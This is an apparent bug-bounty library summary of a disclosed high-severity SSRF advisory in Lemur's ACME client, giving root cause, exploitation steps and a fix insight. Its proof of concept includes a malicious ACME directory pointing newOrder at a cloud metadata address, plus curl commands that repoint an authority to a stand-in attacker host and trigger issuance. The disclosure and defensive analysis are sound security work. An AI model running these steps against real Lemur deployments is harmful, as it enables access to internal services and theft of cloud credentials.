# Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs

Lemur re-validates acme_url only at authority creation, so an authority-role member can repoint an ACME authority at a malicious server that returns internal URLs, yielding JWS-signed SSRF.

- Payout: Research
- Severity: high
- Program: Lemur
- Found by: hypnguyen1209
- Disclosed: 2026-08-18
- CVE: CVE-2026-70666
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xpmj-wjcp-6pww
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xpmj-wjcp-6pww
- Tags: area:cloud domain:cloud domain:web impact:internal-access kind:research platform:ghsa sev:high tech:python tech:rest technique:incomplete-fix technique:source-review vuln:access-control vuln:ssrf

**Target:** ACME client / authority update API endpoint
**Root cause:** The acme_url allowlist check runs only in create_authority; the PUT /authorities/<id> update path stores the options blob verbatim with no re-validation. The ACME client then follows server-supplied directory/order/finalize URLs per RFC 8555.
**Steps:**
1. Attacker hosts a malicious ACME directory returning internal URLs, e.g. `"newOrder": "http://169.254.169.254/latest/meta-data/"`.
2. As an authority-role member, send `PUT /api/1/authorities/42` with `options` containing `acme_url` set to `https://evil.attacker.tld/dir`; no re-validation occurs.
3. Trigger issuance via `POST /api/1/certificates` referencing that authority.
4. Lemur's ACME client GETs the attacker directory and POSTs a JWS-signed request to the internal URL.
**How found:** Code review of the ACME plugin: noticed _validate_acme_url is invoked only in create_authority, and its docstring admits existing authorities are not re-validated; traced the update path storing options verbatim into the ACME client's server-supplied URL following.
**Exploitation:** Attacker with membership in an ACME authority's role repoints the stored acme_url to their own ACME server, then waits for or triggers the next certificate issuance; the client follows attacker-chosen newOrder/finalize/authorization URLs, sending JWS-signed POSTs to internal services, cloud metadata, or the Kubernetes API from the Lemur host.
**Escalation:** Non-admin authority-role member reaches SSRF without the admin-gated creation path; signed POST bodies plus resident account key and cloud DNS credentials raise impact beyond blind GET SSRF.
**Insight:** When an allowlist guards a config value, check every write path that can mutate it, not just creation; ACME/RFC 8555 clients inherently follow server-chosen URLs, so pin outbound hosts to the configured directory hostname.

## Proof of concept (copied exactly from the original report)

**Malicious ACME directory returning internal newOrder URL**

```
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}
```

**PUT repointing authority acme_url to attacker server**

```
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
```

**Certificate issuance triggering SSRF to metadata endpoint**

```
curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'
```

